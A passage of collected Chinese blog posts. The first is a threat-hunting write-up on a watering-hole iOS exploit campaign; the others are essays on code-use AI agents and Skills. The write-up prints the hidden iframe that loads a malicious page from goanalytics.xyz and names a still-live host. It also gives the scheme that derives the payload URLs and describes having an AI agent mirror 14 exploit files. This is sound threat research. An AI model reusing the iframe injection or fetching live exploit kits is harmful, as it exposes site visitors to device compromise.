典型的 0day “堕落3 阶段”，武器化的东西看起来也这样！

只是我比较奇怪的是，这么多年过去了这种水坑攻击的 nday 武器真的有很大的用处吗？在 IE 时代倒是可以通过游戏等来闭环，黑产这个可能是想通过 Web3来实现“商业”闭环，从 Google 的文章里看确实是这样瞄准的还是数字钱包

Hunting

Google 的文章发布后，看到国内社区都很关注这个玩意，很多人都在找样本，其实非常简单，你只要 ZoomEye 上搜一下就行，在 Google 的文章里发布的 ICOs 里的 link：

有很多，简单滑动下发现/88k4ez/group.html 这个用的比较多，而且这个88k4ez很明显的特征，所以你就直接搜索 /88k4ez/group.html 就行了

简单就找一个：

<iframesrc="http://goanalytics.xyz/88k4ez/group.html"style="position: fixed;top:0;width:0;height:0;left:-1000px;border:0">iframe>

典型的水坑～，不过发现这个地址已经在 Google 的文章里 ICOs 列表里，毫无疑问，测试下好像要几个不在线了 ...

所以我就换了个 "tuiliu/group.html" 搜索找到 trxusdt.xyz 这个地址在 Google 的文章里并没有覆盖，没错，他还在线。

调用方式：

<iframesrc="/tuiliu/group.html"style="position: fixed;top:0;width:0;height:0;left:-1000px;border:0">iframe>

用的相对路径，当时我第一眼看到这个有点怀疑这个是不是目标页面，因为有很多网站本身正常页面也是这个写法，所以简单 Curl 一下，发现是混淆加密的，看起来有戏这个时候就是 AiPy 上场了

>>> 帮我看个/Users/xxxx/aa/group_http.html 这个页面里的混淆的 js 都干了什么注意是不是有关 ios 的相关的内容

结果如图：

注意模型是 GLM 4.7

看到 “iOS 13-17” 的结论，基本上就可以确定这个多半就是目标了，那么能不能提取出来其他的 payload 呢？如果按历史经验手工一步一步debug 的化还是很累很麻烦并且非常无聊的，当然还有一个办法就是抓包，找一个手机抓个包，手头上没有那么多设备和环境，所以我们继续用 AiPy 把

>>> 帮我看个/Users/heige/aa/group_http.html 这个页面里的混淆的 js 帮我分析下这个页面都动态加载了哪些 js

多次测试后，发现glm 4.7没有成功，于是我追加了一些提示：

>>> 帮我看个/Users/heige/aa/group_http.html 这个页面里的混淆的 js 帮我分析下这个页面都动态加载了哪些 js，提示：“Bailing out if the device is in
Lockdown Mode, or the user is in private browsing.
A unique and hard-coded cookie is used along the way to generate resource URLs.
Resources are referred to by a hash, which needs to be derived with the unique cookie using sha256(COOKIE + ID)[:40] to get their URL.”

上面提示词部分来源于 Google 文中的原文，这个也算是个 “skills” 提示吧，可惜有这个提示，结果也不是很理想，而且还不稳定，看了下结果可能还是模型能力的问题，有时候对 cookie 这个词也有“误解”，被认为是浏览器的 cookie 了，于是我换了下 Gemini3 的模型，尝试效果还是非常好的，于是我让 AiPy + Gemini3 一次性帮我线上的页面分析并下载回来：

而且直接镜像到本地了，这样得到了 group.html 混淆的 js 里还动态加载了 14 个 js 文件，其中一个就是 min.js 实际上是一个二进制文件，其他的 13 是按对应 ios 版本判断记载的对应的漏洞攻击的 Payload，你可以继续让他分析哪些 ios 版本对应哪些 js 加载，及对应模板是干啥的

到这里其实我这个例子算基本完成了，当然在真正恶意分析角度上看还是不够的，因为这个只是水坑攻击的部分，在后续“浏览器”漏洞成功后，可能在对应的 exp 的 shellcode 等里面还有其他下载出发的漏洞或者恶意控制等的组件等等

不过即使是这一步的分析，大模型时代已经让这个分析事情变得非常的简单直接了，另外在复杂任务上，这次其实我还是测试了很多模型的，国产模型在复杂任务的理解/完成的稳定性等方面还是需要再努力，而国外的顶级模型 gemini/codex 表现都非常好，在神龙叫杨教主文章《大模型能力评测，中国落后一年》里也提到了我们 AiPy 的模型测试结果是一致的

AiPy 的模型测试报告 www.aipyaipy.com 点击“测评报告”查看

跳转微信打开

AI Agent 下半场

Tue, 10 Mar 2026 17:06:00 +0800

原创 heige 2026-03-10 17:06 美国

1、Don’t just do it. Get it.

结合 2023 年 2024 年的各种忽悠经历，在 2025 年推出了《黑哥尔模型三定律》

第一定律：相信相信的力量（信念觉醒）
第二定律：相信大模型的能力（认知觉醒）
第三定律：Just do it [整就牛] （行动觉醒）

但是通过观察，也出现了很多“矫枉过正”的问题，过度相信大模型的能力，甚至沉迷于幻觉等情况的出现，这里没有特指而是说普遍存在，包括一些老板、有着技术情结的老玩家，有 AI 加持后，觉得所有的技术变得廉价了，不值钱了，你能干的我都能干 ...

我这里不是要推翻之前的《黑哥尔模型三定律》，而是在强调：“第三定律：Just do it [整就牛] （行动觉醒）” ，只有去真正去“do”了，才能尽可能的“实事求是”。所以在“下半场”我觉得可以把“Just do it”进化一下“Don’t just do it. Get it.”

很多时候，大家现在接触大模型更多的是焦虑带来的各种跟风，而实际应用到工作生活中的真正有价值的场景实际挖掘可能还不是特别的多，当然这个是一个复杂的多因素决定的，目前大家用对最多的从 Chat 的时代“你好你是谁”，到 Agent 时代的“帮我查下天气” ...

对于技术研究，很多时候都点到为止，验证可行性就算完结了，而我觉得这个在“下半场”不能满足了，不能只是“点到为止”/“浅尝浅止”了，是时候也结果说话了～～

2、Code-use 范式已成共识

在 2025 年我们通过 AiPy 推出了“Python-use”范式，本质就是 Code-use 范式，并率先打出了"No Agents, Code is Agent."，在差不多一年时间过后，随着Anthropic通过 Claude Code 工程化实现的过程，并逐渐“觉醒”了"Code is all you need" 、 "Code is the universal interface"的认知，工程化实践也从 MCP --> PTC --> Skills 的进化而转变，Anthropic也因为他巨大的话语权及影响力，由此形成了“1 个Code-use 的范式 Agent + 多个Skills” 的基本共识和格局，也就是所谓的：“The future of AI isn't more agents—it's one universal agent powered by a library of domain-specific skills.”

在之前我很多次文章里都表达过，Skills 其实是在 Code-use 范式觉醒后的，自然而然的产物，在当时 AiPy 实现的时候我们称为 “最佳实践”，在词意理解上还是非常接近“技能”的，只是Anthropic按照Claude code 等的工程实践结果，提出了一个相对宽松的结构化“标准” （这些内容都可以参考我之前的文章）

在我的视角不管是“最佳实践”还是“Skills”他本质还是“提示词工程”，所以 Skills 本质是一个相对结构化的“提示词工程”，是的Anthropic绕来绕去又回到了2023 年大模型刚火的那个阶段的“提示词工程”

而在工程化实现角度上看卡帕西在 2025 年提出的“Context Engineering” 可能更加适合从整体上理解这个问题。当然里面可能涉及的对象不一样比如 Agent 的工程化开发，而 Skills 的开发偏向于社区 ...

不管是“提示词工程”还是“上下文工程”，这些都是现有大语言模型的本身结构决定的，在 GPT（Generative Pre-trained Transformer）原本的范式结构里，Prompt 是不可缺少的，因为 GPT 本质是“已有上下文”去预测下一个 token，所以没有输入上下文，它就没有明确的生成条件。所以在现有大语言模型基础架构就决定了“上下文工程”，而这个成为大语言模型与“环境”交互的枢纽空间。

在这里我不得不再提一下这个图：

所以以至于我认为：“2026 AI Agent 的核心：Context Engineering，让环境可计算化” 也是基于这方面的考虑。

3、“下半场”范式：自动总结生成 Skills并分发

过度的开发者依赖不符合 AGI 的追求

「当然他还拥有任务理解规划、代码最佳实践方案、记忆管理注意力调整、任务反思反馈的能力，甚至我们认为通过Python Use这种范式，可以让各种AI章鱼和谐统一的为人类工作（类“MOE”模式），甚至可以让AI章鱼的自我进化，不只是手和脚，可以促进眼睛、鼻子、嘴巴等多模态能力的进化！最终实现AGI，这才是真正的“智能体”。」

解放 AI 是 AiPy 的追求：

"No Agents, Code is Agent <--> Just Python-use <--> Freedom AI"

这个也是符合黑哥尔三定律里的相信模型的能力，所以我之前对待 MCP 的态度，提倡 “No MCP”，因为MCP 有个问题依赖开发者的开发，而这个显然是不符合 AGI 的追求的，而 Skills 的爆火后同样存在这个问题，当然在大部分的时候相比 MCP 已经降低了不少“开发”门槛，不过还是看到不少资深开发者把核心放在 Skills 里的Script 的开发，而这样同样需要门槛。如果你过度去追求 Script 的复杂开发，显然这个又回归到 MCP 的老问题上了！

所以在“下半场”的范式应该是：

Code-use Agent --> 任务 --> 自动总结生成并安装 Skills --> 分发到 Skills 市场 --> 其他用户下载安装使用

4、Cli + /h 或许是最好的 Skills

到现在为止其实我还是觉得我们的 AiPy CLi 的设计的兼容性和可扩展性是非常强大的，可惜的是可能关注的人不是特别多，比如 “API Calling” 的设计，你基本上就能扩展很多的互联网服务及很多的其他能提供 API 接口的设备联动，设置多模型联动等（具体可以参考《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》）当然还有一个点就是 “Packages Calling” 这里本身就有海量的Packages 重要的还有很多的本地小模型都提供对应的Package方便我们处理，当然也包括“当你有需求你开发一个包，调用就行了”，而 Pyhon 的包本事就能提供 Cli 执行，在这个角度上看，你开发一个复杂的 MCP 或者 SKills 里的复杂的脚本，实际上你不如直接开发一个 Python 包，当然在之前我朋友圈提到的 https://github.com/teng-lin/notebooklm-py 这个项目，他其实就是开发了一个 py 包 ...

老黑客们都知道写的命令行工具都有个/h或者-h 的参数，来说明这个这个脚本或者工具的用途，当然一些变态的老黑客例外，所以其实包含脚本的这类 skills 写的 skill.md 无非是告诉你怎么调用这些脚本，如果你在实现命令行工具的时候加个/h 参数那么你的 Skills 将变得非常简单明确。

比如之前我在使用 AiPy 对纯血鸿蒙的 hdc 接口进行 fuzzing 测试的时候用的提示词就是：

“现在你已经usb拦截我的手机，我的手机是华为鸿蒙系统，是通过hdc shell进行管理，但是这个是一个全新的手机，我需要你去通过在help -a命令来找到各种命令、子命令及参数，然后对所有系统命令及子命令进行随机fuzzing测试。”

按这个逻辑我们继续走下去，你会发现如果所有的东西都有 cli +/h 支持，那么上文提到的“1 个Code-use 的范式 Agent”，实际上就可以用一个“Base-use”的 Agent 替代，当然这个还得考虑操作系统等因素。

5、从 Tool Calling 到 Environment Acting

在“2、Code-use 范式已成共识”明确后，我觉得大模型尝试可能不再过分追求 Function/Tool Calling，包括之前打榜的基准测试，而是“训练目标的重心，可能正在从‘会不会调工具’转向‘能不能在环境里把事做完’”，这个也是我之前文章里提到的“Context Engineering”模型端做的尝试努力，比如更智能的“记忆”、对 Skills 的更好理解与调用、更顺畅的注意力组织与上下文聚焦、更丝滑地处理长链路/复杂任务，在真实环境中持续执行、反馈、修正并完成目标等方向上的训练。

小结

之所以用“下半场”这个词，是致敬姚顺雨的之前写过很火的文章《The Second Half》

https://ysymyth.github.io/The-Second-Half/

当然我这个是说 AI Agent的下半场，到下半场我们应该真正看中的是结果，通过 AI 的融合或者重塑，真正在你的工作生活中解决实际有价值的问题，当然今天这篇文章还有一个重要点没有展开，那就是“性价比”的问题，如果要真正结果导向“性价比”的问题就是绕不开的一个问题。

最后还有一个问题就是“龙虾”的火爆，虽然我感觉很邪门（参考神龙叫《龙虾？宗教、钱财、骗子》），但是它可能是加速AI Agent 进入“下半场”～～从流量游戏转为真正干活牛马～～

跳转微信打开

到底什么最重要？

Tue, 06 Jan 2026 21:06:00 +0800

原创 heige 2026-01-06 21:06 湖南

这两天想统计下Chrome的2025年的在野利用漏洞情况，我首先想到的是通过https://chromereleases.googleblog.com/2025/01/ 去爬取，于是我让AiPy帮我去完成这个任务，写个个简单任务提示词：

>>> https://chromereleases.googleblog.com/2025/01/ 这个是google chrome的升级log URL按月份生成对应的link，我需要你冲2025年01月到2025年12月的所有漏洞信息统计，注意你要通过语义理解去阅读页面内容，而不是通过正则等规则匹配，包括漏洞对应的CVE编号、报告者、报告日期、漏洞基本信息、是否存在在野利用等进行全面统计，结果按CVE编号去重保存到表单文件里，一定要注意要全面如果访问错误请务必访问成功

测试了下跑出了106个漏洞，然后7个在野漏洞，但是最大的问题是没办法确定，于是我让AiPy随机抽查了几个月份：

>>> 你帮我随机抽查下8月 6月的漏洞是否对得上数据

结果提示漏掉好几个，然后我让他全部查一下在野漏洞的的情况，发现之前结果也有一些出入，后面分析后发现，主要是有一些数据的格式不统一导致的：

[$2000][384844003] Medium CVE-2025-0762:
[N/A][460017370] High CVE-2025-13223
[TBD][405143032] High CVE-2025-2783

而大模型处理数据习惯性的使用正则匹配，然后比如在野利用的描叙也有各种各有，比如：“in the wild” 、“in wild”等等，当然虽然在任务提示词里有要求用“语义”理解，实际上大模型是直接无视的。于是我写了一个很长的“Skills” 并加上了一些例子说明，最后的效果看起来还不错，但是始终没办法确定数据是不是准确，抽查发现尤其在野数据老是不对，当然我也尝试了用ChatGPT来帮我执行这个任务，不过搞笑的是ChatGPT写了个脚本让我在本地跑 ... (本地跑那不直接AiPy啊！)

要命的是，最后我发现了一个问题：本身访问 https://chromereleases.googleblog.com/2025/01/ 这个页面的数据是不全的，里面有分页（相当于你爬取https://chromereleases.googleblog.com/2025/01/ 这个一月的数据，有一些一月公告的数据显示在下一页里）

这实际上从根本上否定了这个方法，于是我想着换一个思路：直接用搜索引擎的API来搜索

>>> google api搜索chromereleases.googleblog.com上 2025年的标记在野利用的漏洞及相关信息

最后输出9个在野利用

那么这个结果准确不，于是我交叉了下GhatGPT的搜索结果，输出也是9个，对比了下

https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/view?gid=897725844

Google P0 0day "In the Wild" 项目的数据基本上对的上，只是在这个项目了有2个漏洞标注是webkit，这个其实也影响Chrome

所以问题来了：到底什么是最重要？MCP/Skills? 工具？产品？结果？认知？那么现阶段的用户到底是谁？LLM到底取代了什么？

在纠结那么多问题之前，先纠结下：你能正常访问 https://chromereleases.googleblog.com 这个网站吗？

对了我上面用的模型是GLM-4.7

新年水一篇，要不然老是有人问我：这个公众号买不买 ...

阅读原文

跳转微信打开

2026 AI Agent 的核心：Context Engineering，让环境可计算化

Wed, 31 Dec 2025 20:14:00 +0800

原创 heige 2025-12-31 20:14 湖南

今天是2025年最后一天，从3月基于Python-use（Code-use）范式的AiPy项目开始，到年底逐步看到了很多大厂或者大佬的一些理念认知逐渐的趋同，这说明我们的Python-use范式的理念及AI Agent应用方向的理解还算是比较先进、深入的。这些我在之前的文章都有详细的介绍，而且很多点都是反复的说，当然很多细节点可能需要真正去实践才有可能“感同身受”，可惜的是缺少点“大厂”的光环 ...

在《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》发布之后，我看到了来自Anthropic的两位Skills提出者的的演讲视频：

Don't Build Agents, Build Skills Instead – Barry Zhang & Mahesh Murag, Anthropic
https://www.youtube.com/watch?v=CEvIs9y1uog

在这个演讲里他们提出了一个核心观点：

"The future of AI isn't more agents—it's one universal agent powered by a library of domain-specific skills."

也就是说：“AI 的未来，不是更大的 Agent，而是一个通用 Agent + 无数可复用的技能模块。”

在他们的演讲里明确提到的标题："Code is all you need" 、 "Code is the universal interface"，包括他们对Claude Code定位（不再局限在IDE），到“可扩展（scalable）”、“API调用” 、“环境”等概念的理解，基本上都可以在我以往的介绍Python-use的相关文章里见到。

尤其是最开始的《【Agents/MCP可能不存在了】No Agents, Just Python-use！》明确了"No Agents, Code is Agent/No Agents, Just Python-use！"的核心观点，这个内容其实我在之前发过朋友圈并同步到一些AI相关的群里，其实我也知道反复去讲这些必然会引起一些人的不适，比如最早我们提出的"No Agents、No MCP、No Workflow、No Clients ..." 其实在我们内部也有很多不一样的看法意见，尤其是MCP我们AiPy实际上也是支持MCP的，包括我们的AiPy Pro的智能体也是兼容MCP的，这个都是基于“产品”维度选择，这些都可以理解，所以我在以往的文章里说：大家都被MCP绑架了～～

而我这里其实是基于“范式”的角度去探讨的，基于“范式”那肯定是要看整体上的，而不是具体一个词、一个概念。当时有人就说了你这个Code use的方式人家很早就有了，包括CodeAct（CodeAct的相关我已经在《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》进行探讨），可能还有人会提到通过Code来完成任务的模式很早有模型厂商或者Agent用过了，实际上我在《【Agents/MCP可能不存在了】No Agents, Just Python-use！》就提到GPT-4o的方式，至于其他Agent他们都是把Code当成了几个Agents中的一个Agent去调用，包括Manus 这些其实都是相对片面的视角。我们看一个“范式”需要更加完整的视角去看!

至于skills除了我在《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》提到的"code execution"部分之外，真正提到的“技能”这个最早是AiPy里我们称为“最佳实践”：

当然他还拥有任务理解规划、代码最佳实践方案、记忆管理注意力调整、任务反思反馈的能力，甚至我们认为通过Python Use这种范式，可以让各种AI章鱼和谐统一的为人类工作（类“MOE”模式），甚至可以让AI章鱼的自我进化，不只是手和脚，可以促进眼睛、鼻子、嘴巴等多模态能力的进化！最终实现AGI，这才是真正的“智能体”
heige，公众号：黑哥虾撩【Agents/MCP可能不存在了】No Agents, Just Python-use！

# 任务最佳实践
- 分析本地浏览器数据画像：直接使用读取本地浏览器数据库
- 图片OCR提取文字及对应坐标方案：paddleocr 或 easyocr
- 图片中图标标记并定位： openvc
- claude调用：anthropic包
- 天气查询：request + 高德API或中国天气网 ，当用户没有指定地理位置时，请调用高德API进行定位
- 股票查询：yfinance
- 网页访问：playwright 具体方案参考 "playwright方案规则"
- 浏览器访问网页：browser-use LLM使用openai gpt4o ，具体方案参考 “browser-use方案规则”
- 数据可视化图表：matplotlib 注意中文字体选择：'windows': ['Microsoft YaHei', 'SimHei'],'darwin': ['Kai', 'Hei'],'linux': ['Noto Sans CJK SC', 'WenQuanYi Micro Hei', 'Source Han Sans SC']
- 视频处理：ffmpeg-python
- 网络搜索：request + Tavily API，并触发网页访问阅读相关网页内容
- 反爬访问：playwright 或 browser-use
- 验证码、发帖、发微博：browser-use
- 图片生成或修改：request +Google Gemini API 注意LLM模型使用 gemini-2.0-flash-exp-image-generation 
- 华为鸿蒙手机USB控制命令：
    • 截屏：hdc shell uitest screenCap -p /data/local/tmp/screen.png
    • 回到屏幕首页：hdc shell uitest uiInput keyEvent Home
    • 返回：hdc shell uitest uiInput keyEvent Back
    • 向下滑动：hdc shell uitest uiInput dircFling 3 10000
    • 向上滑动：hdc shell uitest uiInput dircFling 2 10000
    • 左滑：hdc shell uitest uiInput dircFling 0 1500
    • 右滑：hdc shell uitest uiInput dircFling 1 1500
    • 输入框：hdc shell uitest uiInput inputText x y hello 
    • 模拟点击：hdc shell uitest uiInput click x y
- 打开手机对应app
    先通过OCR识别【应用名称】文字坐标 → 向上偏移【120】像素获取图标中心 → 用【HSV色彩空间】验证图标主色调 → 最终点击坐标修正【±5】像素容差
- 拨打电话：（注意需要在终端显示标记的图片）
    通过USB连接了我的鸿蒙手机，请通过hdc shell进行管理，回到手机屏幕首页，但后找到手机按钮坐标，模拟点击手机按钮进入拨号键面，最后通过hdc shell uitest uiInput click x  y 方式依次点击对应坐标拨打用户输入的电话号码，注意在电话号码输入完整后再点击拨号按键。

上面这个是我早期AiPy里的提示词，根据不通任务去选择对应的Python Packages或者命令工具及代码调用模型调用方式等，这个最早是放在AiPy系统提示词里，这导致的如果场景越多最终你的这个内容越多，占用的tokens会越到，注意力也可能不够集中，所以后面我们把这部分进行拆分和优化，一部分我们分化出了“角色”这个概念，用户可以通过不通“角色”来定一个这个“最佳实践”，当然后面我们“命令”也是可以做这部分工作，而另外一部分我们通过API Calling来实现云端智能选择，也就是你的任务提示词提交给大模型之前，会通过API Calling得方式去请求我们云端的“小模型”，做提示词优化，而这个“小模型”的目的就是根据你的任务选择并生成“最佳实践”。

实际上在我的视角，如果你认识到了"No Agents, Code is Agent"，这些“最佳实践”就是“自然而然”，“水到渠成”的事情，这个是Python-use范式的先天优势，这段时间Skills火了后，我看到一些有意识的评论，比如：

响马这个看法不就是“No Workflow”嘛，其实在我上面给出最佳实践里：

- 华为鸿蒙手机USB控制命令：
    • 截屏：hdc shell uitest screenCap -p /data/local/tmp/screen.png
    • 回到屏幕首页：hdc shell uitest uiInput keyEvent Home
    • 返回：hdc shell uitest uiInput keyEvent Back
    • 向下滑动：hdc shell uitest uiInput dircFling 3 10000
    • 向上滑动：hdc shell uitest uiInput dircFling 2 10000
    • 左滑：hdc shell uitest uiInput dircFling 0 1500
    • 右滑：hdc shell uitest uiInput dircFling 1 1500
    • 输入框：hdc shell uitest uiInput inputText x y hello 
    • 模拟点击：hdc shell uitest uiInput click x y
- 打开手机对应app
    先通过OCR识别【应用名称】文字坐标 → 向上偏移【120】像素获取图标中心 → 用【HSV色彩空间】验证图标主色调 → 最终点击坐标修正【±5】像素容差
- 拨打电话：（注意需要在终端显示标记的图片）
    通过USB连接了我的鸿蒙手机，请通过hdc shell进行管理，回到手机屏幕首页，但后找到手机按钮坐标，模拟点击手机按钮进入拨号键面，最后通过hdc shell uitest uiInput click x  y 方式依次点击对应坐标拨打用户输入的电话号码，注意在电话号码输入完整后再点击拨号按键。

就有点“Workflow”的味道？！这个是2025年4月份通过AiPy尝试phone use控制纯血鸿蒙系统成功拨号的效果：

而在2025年12月在豆包手机短暂火一把之后智谱开源的

github.com/zai-org/Open-AutoGLM

方式其实跟我当时使用的方式是一样的，只是我当时识别图片坐标的是Claude模型，当时缺少针对性的手机GUI训练的模型，效果还是非常不稳定。

在某种角度这也说明了：“模型越强，AiPy就越强的”，这个是由于Python-use范式里“Freedom AI”解放大模型最好的诠释！

在AI Agent领域，基础模型是至关重要的，这个为什么Manus大火后很多人觉得效果有很大一部分是Claude模型的功劳，而被Manus很多人藐视仅仅是“套壳”而已，并且在manuse之后大部分的Agent的创业产品都选择使用Claude等国外闭源一线模型，实际上我们的AiPy一直都是使用的国产模型，而这些包括“技能”支持的效果，实际上是非常考验模型能力的，这个也是为什么早期Skills只在Claude Code上表现好，而在其他模型上表现效果可能没有那么好也有一定相关性，万幸的是2025年国产模型发力，逐步缩小不少差距！有兴趣的可以看看AiPy以往的模型测评结果：https://www.aipyaipy.com/ （点击“测评报告”）

Andrej Karpathy - 2025 LLM Year in Review

在聊完Skiils两位缔造者的演讲后，我们再看看我们的“老朋友”Andrej Karpathy发布的2025的总结：

https://karpathy.bearblog.dev/year-in-review-2025/

Andrej Karpathy在吹火Vibe Coding后，后面他的推特基本上都会被热捧，在Vibe Coding之后他又提出了"Context Engineering"，所以在前面他写的《2025 LLM Year in Review》总结里对这些都有覆盖，他这个总结有6点，用notebooklm总结了下面三个方面：

当然我这里主要是一下交互相关的也就是Karpathy总结了的后4点，对应Vibe Coding我之前写过一篇专文《从 Vibe Coding 到 Vibe Working》实际上我也算是最早实践者之一，而且还是在Vibe Coding这个概念提出之前，可以参考《0基础到纯血鸿蒙APP开发实践》

当然我这里其实是想强调下相比Vibe Coding，Vibe Working这个词更符合Python-use范式。

然后就是 "3. Cursor / new layer of LLM apps" Cursor是一只都有推荐的并不是2025年菜火，我觉得Karpathy之所以2025年的总结里提出是为了说明："Context Engineering"，在目前的AI Agent的领域我觉得"Context Engineering"核心中的核心，很多的问题其实就是围绕"Context"展开的，在这里我需要说明下的是我认为的"Context Engineering"是不只是与LLM对话的上下文，而是与“环境”交互的所有内容，包括了对话过程、记忆、技能（最佳实践）、APIkey（认证凭证）及API或者其他工具说明等等

其实我在《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》一文中有说明：

在这个理解层面，Cursor在代码角度确实是做的比较好的，当然我在《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》已经说明过了：

实际上Anthropic提出的包括MCP、PTC、Skills甚至包括SubAgent这些都是围绕"Context Engineering"而探索的结果，我在下面这个经典的图上做个标识可能更好理解：

当然Karpathy原文里还提到了Cursor在2025年终于意识到他不只是个IDE这些问题，这个我在之前那些文章也有提到当时被IDE局限的问题，当然在上面提到的Skills两位也开始意识到Claude Code的定位问题，都是一样的...

“4. Claude Code / AI that lives on your computer”

其实我看到Karpathy的文章的时候，我第一反应就是这个第4点应该是AiPy啊，又是“羡慕嫉妒恨”大厂的时候：

这个完完全全就是AiPy的描叙，AiPy的推出比Claude Code要早，在范式角度实际上强调了本地环境的重要性和扩展性，这个理念我在《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》一文做了详细的阐述，包括我最早看到MCP的优势其实，也是在于本地环境的交互上，当然可能是这篇文章写了大量的案例导致可能关注度（阅读量）少了点。

比较有意思的Karpathy还吐槽了Codex最开始的路走错了：

“I think OpenAI got this wrong because they focused their early codex / agent efforts on cloud deployments in containers orchestrated from ChatGPT instead of simply localhost. ”

这个跟我在《从 Vibe Coding 到 Vibe Working》也提到了类似问题，当然最早在《【Agents/MCP可能不存在了】No Agents, Just Python-use！》提到了“AI章鱼关了起来，并对它的触手安装了巨大的枷锁”很大部分就是这个环境交互的问题，这个其实也包括Manus这种云端的模式，所以我在祝福Manus被Meta收购成功上岸的同时，是不看好这种模式的，因为这种模式最终模型厂商都会内化

“6. Nano banana / LLM GUI”

当然这个点入选一点也不意外，Google的Gemini3和香蕉模型的成功，到现在估计仍然还是“奥特曼”的噩梦，即使是“边角料”应用的NotebookLM因为香蕉模型的加持，直接改写了那些PPT agent进程历史，在我个人看来NotebookLM的信息图及ppt生成，真正做到了可实际应用的阶段，在我的心里是可以Cursor时刻相媲美，当然还有很多细节值得优化，可惜看起来Google对NotebookLM的重视程度在我看来远远不够 ...

有点跑偏了，在本文这个背景下其实应该关注的是LLM GUI，因为在AI Agent的领域里Agent 2.0还有一个拼图就是LLM GUI，对操作系统、APP等的GUI的理解，实际上到现在Python-use的范式，对于GUI的控制是非常有限的，主要依赖API服务的能力，在上文提到的phone use的尝试就是这样，当然在后续有对应的模型出现，比如智谱AutoGLM-Phone-9B等模型，会通过API Calling实现MOE方式完全是可以兼容的，只是这个依赖模型厂商提供的模型能力。

小结

2025年最后一天，在2025年Python-use范式的诞生，有幸看到了很多的理念与大佬的理解认识趋同的地方，当然不管是什么样的范式和技术路线，最终的效果可能都是一样的！最后我也想表达一下对于Python-use范式的核心关键在于：Code就是标准协议、与环境交互接口。有着天然的完整性和扩展性。

最后提一下Manus被收购的这个事情，其实我在很多次都提到Manus与Cursor是AI Agent领域创业非常值得学习研究的对象，因为他们打破了“大厂”的魔咒，Manus的成功上岸，取决于他们的运作及产品本身，在当时那个时间节点Manus的产品有它的亮点和优势，然后可能是结合他们在Web3领域的项目运营经验，能一举突破，都是值得研究的。而且有个既定的事实：实际上到目前为止很多人可能都不知道Cursor是什么，Manus又是什么？知道的可能也有很多人并没有用过Manus ...

至于Meta收购Manus妄想继续WhatsApp类似的收购案例的复刻，我估计不太可能，现在其实这种云端的Agent更多的依赖模型，而Meta目前看上去在基础大模型上已经掉队很久了，当然Meta不差钱，后面还能不能力挽狂澜，还得看基础大模型，单凭个Manus很难！！！当然这种其实可能都是小波浪，因为在现在LLM模式下还没有看到一个符合现在LLM模式的商业基础模式，现在还在技术变革的阶段，就像豆包手机那样，可能就是一个小插曲！

祝大家在2026年66大顺～～

阅读原文

跳转微信打开

从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证

Wed, 10 Dec 2025 17:07:00 +0800

原创 heige 2025-12-10 17:07 湖南

前面Anthropic连续发布了很多跟Agent技术相关的更新，在Nov 04, 2025发布了：

Code execution with MCP: Building more efficient agents https://www.anthropic.com/engineering/code-execution-with-mcp

随后在Nov 24, 2025发布的：

Introducing advanced tool use on the Claude Developer Platform https://www.anthropic.com/engineering/advanced-tool-use

文章里正式提出了“Programmatic Tool Calling” 这个概念，在“Code execution with MCP”发布后，引发了大量的关注及吹嘘。当然也有熟悉我们的朋友，知道我们做了AiPy是基于Python-use（Code-use）范式的Agent，所以当时就有很多个朋友看到Anthropic文章转发给我看，我在朋友圈也说了我看到“Code execution with MCP”第一感受就是：：“anthropic自己说MCP是 '脱裤子放屁'了”。

我其实算是关注并实践并推荐MCP很早的一批人了，直到我们提出Python-use范式，在《【Agents/MCP可能不存在了】No Agents, Just Python-use！》文章里提到了“路线问题”，在我看来现在Anthropic提出的“Code execution with MCP”到“Programmatic Tool Calling”在某种角度上也算是一个路线的修正，当然他们这个修正的主要目的其实还是在于多MCP多工具后引起的上下文爆炸的问题，在这个角度上看这个属于“上下文工程”范畴，只是Anthropic的解决方案最终还是回归到“Code execution”上：

在Anthropic的路线：

MCP --> Code execution with MCP --> Programmatic Tool Calling

看起来这个是Anthropic自我进化（修正）的路线，有完整的逻辑及因果关联，但是如果你脱离这个Anthropic路线逻辑本身来看，在从MCP这个路线设计之初就决定了他这个路线的是曲折、“臃肿”的。

而Python-use的范式就显得直接明了，更符合第一性原理。

（所以为什么我一直喜欢这个用户评价）

在Anthropic在提出Programmatic Tool Calling时候提到的挑战：

提到的分析10M日志的场景，而这个场景其实就是我们AiPy诞生初衷，详见“英雄LGX拯救AI章鱼的故事”：

【Agents/MCP可能不存在了】No Agents, Just Python-use！

这种本地数据分析处理的场景也是AiPy最早备受推荐的场景之一，当然这个可能大家更多的是认为这个是本地环境导致的，而Manus那种云端受限于环境是没办法处理的，而现在Anthropic有推出Claude Code后（AiPy的出现是在Claude Code发布之前）开始关注这种本地诉求，而导致出现的上下文爆炸的事情，所以这个也是“Code execution”带来的好处之一。

这其实是个“路线问题”，这是Python-use（Code-use）范式与Anthropic的路线在诞生之初就决定了的... 看起来都有着他们的逻辑自洽性。

CodeAct

在我们提出Python-use范式后，10月份有朋友在我《【Agents/MCP可能不存在了】No Agents, Just Python-use！》文章里留言提到CodeAct这个项目：

CodeAct的论文：

Executable Code Actions Elicit Better LLM Agents 
https://arxiv.org/html/2402.01030v4
https://github.com/xingyaoww/code-act

后面我回溯了下，我们留意到CodeAct应该是在今年4月份（AiPy是在3月开始的），说实话当时没有太大的共鸣，因为那时候在AiPy的推广初期，我把关注点放在了“No Agents/No Tools”上了，但是CodeAct使用的还是多Tools模式（Funciton），随着AiPy的推广，我们收到了来自内部和外部的各种反馈，其中反馈最多的就是LLM生成代码的稳定性及代码复用的问题，比如我要查询“北京”的天气，然后我要继续查询“益阳”的天气，AiPy每次得重新生成代码，每次实现的技术栈可能还不一样，所以就导致了Python-use在这些简单的单一任务上不稳定性（同时也看起来是一种token得浪费）而带来的质疑，这个问题我在《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》一文中的「Python-Use范式 “劣势”」有提到，当然我也提到了提过“Packages Calling”、“角色市场”+ “API市场” +“插件市场”的方式去实现稳定新问题。

